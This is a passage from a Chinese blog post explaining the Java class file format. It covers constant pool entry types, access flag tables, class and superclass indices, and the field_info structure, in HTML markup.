1.2em !important;">表示 int 类型的常量。但是 boolean、byte、short 以及 char 类型的变量，在常量池中也会被当成 Int 来处理。</p><p style="margin: 0px 0px 1.2em !important;"><strong>③ CONSTANT_Float_info</strong>：</p><p style="margin: 0px 0px 1.2em !important;">表示 float 类型的常量。</p><p style="margin: 0px 0px 1.2em !important;"><strong>④ CONSTANT_Long_info</strong>：</p><p style="margin: 0px 0px 1.2em !important;">表示 long 类型的常量</p><p style="margin: 0px 0px 1.2em !important;"><strong>⑤ CONSTANT_Double_info</strong>：</p><p style="margin: 0px 0px 1.2em !important;">表示 double 类型的常量</p><p style="margin: 0px 0px 1.2em !important;"><strong>⑥ CONSTANT_Class_info</strong>：</p><p style="margin: 0px 0px 1.2em !important;">表示类或者接口。</p><p style="margin: 0px 0px 1.2em !important;"><strong>⑦ CONSTANT_String_info</strong>：</p><p style="margin: 0px 0px 1.2em !important;">表示 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">java.lang.String</code>类型的常量对象，其与<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CONSTANT_Utf8_info</code>的区别是<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CONSTANT_Utf8_info</code>存储了字符串真正的内容，而<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CONSTANT_String_info</code>不包含字符串的内容，仅仅包含一个常量池中<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CONSTANT_Utf8_info</code>常量类型的索引。</p><p style="margin: 0px 0px 1.2em !important;"><strong>⑧ CONSTANT_Fieldref_info</strong>：</p><p style="margin: 0px 0px 1.2em !important;">指向<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CONSTANT_Class_info</code>常量池索引值，表示方法所在的类信息。</p><p style="margin: 0px 0px 1.2em !important;"><strong>⑨ CONSTANT_Methodref_info</strong>：</p><p style="margin: 0px 0px 1.2em !important;">用来描述一个方法。</p><p style="margin: 0px 0px 1.2em !important;"><strong>⑩ CONSTANT_InterfaceMethodref_info</strong>：</p><p style="margin: 0px 0px 1.2em !important;">指向<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CONSTANT_NameAndType_info</code>常量池索引值，表示方法的方法名、参数和返回类型。</p><p style="margin: 0px 0px 1.2em !important;"><strong>⑪ CONSTANT_NameAndType_info</strong>：</p><p style="margin: 0px 0px 1.2em !important;">表示字段或者方法。</p><p style="margin: 0px 0px 1.2em !important;"><strong>⑫ CONSTANT_MethodHandle_info、CONSTANT_MethodType_info、CONSTANT_InvokeDynamic_info</strong>：</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CONSTANT_MethodHandle_info</code>表示方法句柄，比如获取一个类静态字段，实例字段，调用一个方法，构造器等都会转化成一个句柄引用。</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CONSTANT_MethodType_info</code>表示一个方法类型。</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CONSTANT_InvokeDynamic_info</code>表示动态调用指令引用信息。</p><p style="margin: 0px 0px 1.2em !important;">作者在书中提到，这三个是从 JDK1.7开始为了更好地支持动态语言调用而新增的常量池类型，经过我的搜索也没发现有什么特别有用的信息，有的博主提到，这新增的三个常量池项只会在极其特别的情况能用到它，在class文件中几乎不会生成；也有博主详细介绍了该类型的结构及值，可以参考：<a href="https://juejin.cn/post/6844903950777319432#heading-17" target="_blank">https://juejin.cn/post/6844903950777319432#heading-17</a></p><p style="margin: 0px 0px 1.2em !important;">作者在书中主要提到了<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CONSTANT_InvokeDynamic_info</code>，该类型主要作用是为 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">invokedynamic</code>指令提供启动引导方法。结构如下：</p><pre style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;font-size: 1em;line-height: 1.2em;margin: 1.2em 0px;"><code style="white-space:pre-wrap;font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;overflow: auto;border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em;color: rgb(51, 51, 51);background: rgb(248, 248, 248);text-size-adjust: none;display: block !important;">CONSTANT_InvokeDynmic_info{<br/>  u1 tag;<br/>  u2 bootstrap_method_attr_index;<br/>  u2 name_and_type_index;<br/>}</code></pre><p style="margin: 0px 0px 1.2em !important;">第一部分<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">tag</code>为固定值 18；第二部分<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">bootstrap_method_attr_index</code>是指向引导方法表<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">bootstrap_method[]</code>数组的索引；第三部分<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">name_and_type_index</code>为指向索引类常量池里的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CONSTANT_NameAndType_info</code>d的索引，表示方法描述符。</p><p style="margin: 0px 0px 1.2em !important;">可以看实际例子来了解这个，参考：<a href="https://blog.csdn.net/zxhoo/article/details/38387141" target="_blank">https://blog.csdn.net/zxhoo/article/details/38387141</a></p><h4 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.2em;">4、访问标记（access flag）</h4><p style="margin: 0px 0px 1.2em !important;">访问标记主要用来标识一个类为 final、abstract、public 等。其由两个字节表示，16 个标记为可供使用，目前使用了其中 8 个标识位，如下图所示。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1625615763546798" data-s="300,640" style="" data-type="png" data-w="1218" src="https://wechat2rss.xlab.app/img-proxy/?k=667908a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpb42rNVXy4fKlZN56tPJHIEteUqLN36ptaFsyhHenzrVtw1KlxRgjGIicJbSHRNoL1SAjI4mnfYgg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">完整的访问标记含义如下表：</p><table style="margin: 1.2em 0px;padding: 0px;border-collapse: collapse;border-spacing: 0px;font: inherit;border-width: 0px;border-style: initial;border-color: initial;"><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);" width="140">标志名</th><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);word-break: break-all;" width="63">标志值</th><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);word-break: break-all;" width="139">标志含义</th><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);" width="88">针对的对像</th></tr></thead><tbody style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="84">ACC_PUBLIC</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="72">0x0001</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="139">public类型</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="88">所有类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="84">ACC_FINAL</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="78">0x0010</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="139">final类型</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="88">类</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="84">ACC_SUPER</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="81">0x0020</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="139">使用新的invokespecial语义</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="88">类和接口</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="84">ACC_INTERFACE</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="83">0x0200</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="139">接口类型</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="88">接口</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="84">ACC_ABSTRACT</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="84">0x0400</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="139">抽象类型</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="88">类和接口</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="84">ACC_SYNTHETIC</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="85">0x1000</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="139">该类不由用户代码生成</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="88">所有类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="84">ACC_ANNOTATION</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="85">0x2000</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="139">注解类型</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="88">注解</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="84">ACC_ENUM</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="85">0x4000</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="139">枚举类型</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="88">枚举</td></tr></tbody></table><p style="margin: 0px 0px 1.2em !important;">值得注意的是，类访问标记是可以组合的，如一个类的访问标记为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0x0021(ACC_SUPER|ACC_PUBLIC)</code>，表示的是一个 public 类。但组合也是有条件的，像<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">ACC_PUBLIC</code>就不能和<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">ACC_PRIVATE</code>同时设置，<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">ACC_FINAL</code>和<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">ACC_ABSTRACT</code>也不能同时设置，否则就违背了 java 的基本语义。</p><p style="margin: 0px 0px 1.2em !important;">这方面的源码可以在 javac 源码中的<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">com.sun.tools.javac.comp.Check.java</code>中找到。</p><h4 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.2em;">5、类索引（this class）&amp;&amp; 超类索引（super class）&amp;&amp; 接口表索引（interface）</h4><p style="margin: 0px 0px 1.2em !important;">这三部分是用来确定类继承关系的文件结构，其中<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">this class</code>表示类索引，<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">super class</code>表示直接父类的索引，<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">interfaces</code>用来描述这个类实现了哪些接口。通常这三部分都是指向常量池的索引，各自代表不同的表示，如类、接口、超类等</p><h4 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.2em;">6、字段表（field）</h4><p style="margin: 0px 0px 1.2em !important;">字段表（<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">field</code>）用于存储类中定义的字段，包括静态和非静态类。   其结构伪代码表示如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>      <span class="code-snippet__string">fields_count;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">field_info</span>    <span class="code-snippet__string">fields[fileds_count];</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">}</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">在上述的结构中，<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">fields_count</code> 用于表示<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">field</code> 的数量，<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">fields</code> 表示字段集合，共有<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">fileds_count</code> 个，每一个字段用<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">field_info</code>结构表示。所以就来看看<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">filed_info</code> 的结构：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">filed_info{</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">u2</span>      <span class="code-snippet__string">access_flags;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">u2</span>      <span class="code-snippet__string">name_index;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">u2</span>      <span class="code-snippet__string">descriptor_index;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">u2</span>      <span class="code-snippet__string">attributes_count;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">attribute_info</span>    <span class="code-snippet__string">attributes[attributes_count];</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">}</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">如上，可以看到 <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">filed_info</code> 的结构分为四个部分，第一部分是<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">access_flags</code>，表示字段的访问标记，如可以用该字段去区别某一个字段是否是<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">public</code>、<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">private</code>、<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">protected</code>、<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">static</code>等类型；第二部分是<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">name_index</code>用来表示字段名，指向常量池中的字符串常量；第三部分<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">descriptor_index</code>表示字段描述符的索引，同样指向常量池中的字符串常量；最后一部分由<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">attributes_count</code>和<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">attribute_info</code>组成，分别表示属性的个数和属性的集合。</p><p style="margin: 0px 0px 1.2em !important;">第一部分的访问标记和类一样，不过与类那块的内容相比，字段的访问标记更加丰富，共有九种</p><table style="margin: 1.2em 0px;padding: 0px;border-collapse: collapse;border-spacing: 0px;font: inherit;border-width: 0px;border-style: initial;border-color: initial;"><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);word-break: break-all;" width="141">标志名</th><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);" width="150">标志值</th><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);" width="220">标志含义</th></tr></thead><tbody style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 